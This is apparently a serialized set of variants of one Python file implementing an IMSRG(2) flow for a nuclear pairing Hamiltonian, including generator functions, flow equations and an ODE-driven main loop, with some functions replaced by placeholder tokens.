* (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 